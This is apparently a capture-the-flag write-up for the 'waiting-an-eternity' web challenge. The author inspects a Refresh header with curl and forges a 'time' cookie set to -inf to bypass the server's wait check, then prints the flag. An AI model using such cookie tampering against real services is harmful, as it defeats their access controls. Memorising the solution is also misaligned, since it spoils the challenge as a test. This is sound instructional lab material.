This was a fairly straightforward and fun challenge that required a bit of common sense to solve. We are given the URL https://waiting-an-eternity.amt.rs to begin with.

Let’s use curl with its verbose flag to fetch this URL.

curl -v "https://waiting-an-eternity.amt.rs"

We get a response that tells us to wait an enternity.

> GET / HTTP/2
> Host: waiting-an-eternity.amt.rs
> User-Agent: curl/8.1.1
> Accept: */*
> 
< HTTP/2 200 
< content-type: text/html; charset=utf-8
< date: Tue, 18 Jul 2023 04:28:52 GMT
< refresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=../../secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a
< server: gunicorn
< content-length: 21
< 
* Connection #0 to host waiting-an-eternity.amt.rs left intact
just wait an eternity

On closer inspection, the refresh header with the gigantic number sticks out like a sore thumb.

refresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=../../secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a

The refresh header is a non-standard but widely supported HTTP header that redirects to the URL present in the url field after the specified timout in seconds.

In our case, this means that after one octovigintillion seconds, we would finally get redirected to /secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a.

Since I’m rather impatient, I’ll proceed to visiting the redirect location. We will use the same technique as earlier, fetch the URL using curl in its verbose settings.

curl -v "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a"

This results in another slightly different response that tells us to wait another eternity.

> GET /secretsite?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a HTTP/2
> Host: waiting-an-eternity.amt.rs
> User-Agent: curl/8.1.1
> Accept: */*
> 
< HTTP/2 200 
< content-type: text/html; charset=utf-8
< date: Tue, 18 Jul 2023 04:44:02 GMT
< server: gunicorn
< set-cookie: time=1689655442.2456439; Path=/
< content-length: 38
< 
* Connection #0 to host waiting-an-eternity.amt.rs left intact
welcome. please wait another eternity.

There is another difference in the headers of the response. This time, instead of the refresh header, we can notice a set-cookie header with the time cookie set to a floating point number.

set-cookie: time=1689655442.2456439; path=/

Let’s try setting this time cookie to 0 using the -b flag with curl.

curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
-b "time=0"

The response tells us that we haven’t waited enough.

you have not waited an eternity. you have only waited 1689655538.27981 seconds

This is better than the previous message as the server thinks we have at least waited some time. Since 0 is less than the default value 1689655442.2456439 we encountered before, let’s try supplying an even smaller number like -1000.

curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
-b "time=-1000"

The response says:

you have not waited an eternity. you have only waited 1689657530.625615 seconds

Notice how 1689657530.625615 in the second response is greater than 1689655538.27981 from the first response. This implies, for smaller values supplied to the time cookie, the time we have waited increases.

The last piece to the puzzle is that the time cookie is a floating point number. According to the IEE 754 floating point specifications, these numbers must also be able to represent signed zeros, things that are not a number (NaN) and signed infinities. To wait an eternity, we can supply the most negative value possible, -inf.

curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
-b "time=-inf"

This finally gives us our flag.

amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}